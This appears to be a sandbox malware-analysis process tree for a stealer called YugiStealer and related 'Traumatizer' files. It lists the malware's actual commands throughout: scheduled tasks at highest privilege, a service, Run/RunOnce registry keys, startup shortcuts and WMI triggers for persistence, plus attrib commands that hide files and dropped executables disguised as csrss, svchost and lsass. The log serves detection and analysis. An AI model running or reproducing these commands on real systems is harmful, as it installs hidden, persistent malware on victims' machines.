C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_16831.bat"3⤵
-
C:\Windows\system32\cmd.execmd.exe4⤵
-
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "tasklist /v /fo csv"2⤵
-
C:\Windows\system32\tasklist.exetasklist /v /fo csv3⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\Temp\csrss.exe"C:\Windows\Temp\csrss.exe"1⤵
- Drops startup file
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\svchost.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\svchost.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\csrss.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\csrss.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onstart /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onstart /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\csrss.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Windows\Temp\csrss.exe\"; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Windows\Temp\csrss.exe\" }"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exe"cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\csrss.exe\" start= auto"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\sc.exesc create \"YugiStealerSvc\" binPath= \"C:\Windows\Temp\csrss.exe\" start= auto3⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\csrss.exe\" /f"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\csrss.exe\" /f3⤵
- Adds Run key to start application
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\csrss.exe\" /f"2⤵
-
C:\Windows\System32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Windows\Temp\csrss.exe\" /f3⤵
- Adds Run key to start application
- Modifies registry key
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Windows\Temp\dWk2qGiz\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\dWk2qGiz\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\Temp\dWk2qGiz\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\dWk2qGiz\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\Temp\dWk2qGiz\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\dWk2qGiz\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\Temp\dWk2qGiz\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Windows\Temp\dWk2qGiz\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_1684.bat"3⤵
-
C:\Windows\System32\cmd.execmd.exe4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_16835.bat"3⤵
-
C:\Windows\System32\cmd.execmd.exe4⤵
-
-
-
-
C:\Users\Admin\Downloads\TraumatizerV3.exe"C:\Users\Admin\Downloads\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\Downloads\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_16813.bat"3⤵
-
C:\Windows\System32\cmd.execmd.exe4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs" >nul 2>&13⤵
-
C:\Windows\System32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemHealthMonitor.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B "C:\Users\Admin\AppData\Local\Temp\hide_16837.bat"3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "tasklist /v /fo csv"2⤵
-
C:\Windows\System32\tasklist.exetasklist /v /fo csv3⤵
- Enumerates processes with tasklist
-
-
-
C:\Users\Public\Documents\svchost.exe"C:\Users\Public\Documents\svchost.exe"1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\lsass.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\lsass.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Public\Documents\services.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Public\Documents\services.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\csrss.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\csrss.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy7\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy7\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\svchost.exe\" /sc onstart /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\svchost.exe\" /sc onstart /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\svchost.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\svchost.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Users\Public\Documents\svchost.exe\"; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Users\Public\Documents\svchost.exe\" }"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exe"cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\svchost.exe\" start= auto"2⤵
-
C:\Windows\System32\sc.exesc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\svchost.exe\" start= auto3⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\svchost.exe\" /f"2⤵
-
C:\Windows\System32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\svchost.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\svchost.exe\" /f"2⤵
-
C:\Windows\System32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\svchost.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\Temp\rxbIuZmy\TraumatizerV3.exe"C:\Windows\Temp\rxbIuZmy\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\Temp\svchost.exe"C:\Windows\Temp\svchost.exe"1⤵
- Drops startup file
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\lsass.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\lsass.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\svchost.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\svchost.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\svchost.exe\" /sc onstart /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\svchost.exe\" /sc onstart /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\svchost.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\svchost.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Windows\Temp\svchost.exe\"; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Windows\Temp\svchost.exe\" }"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
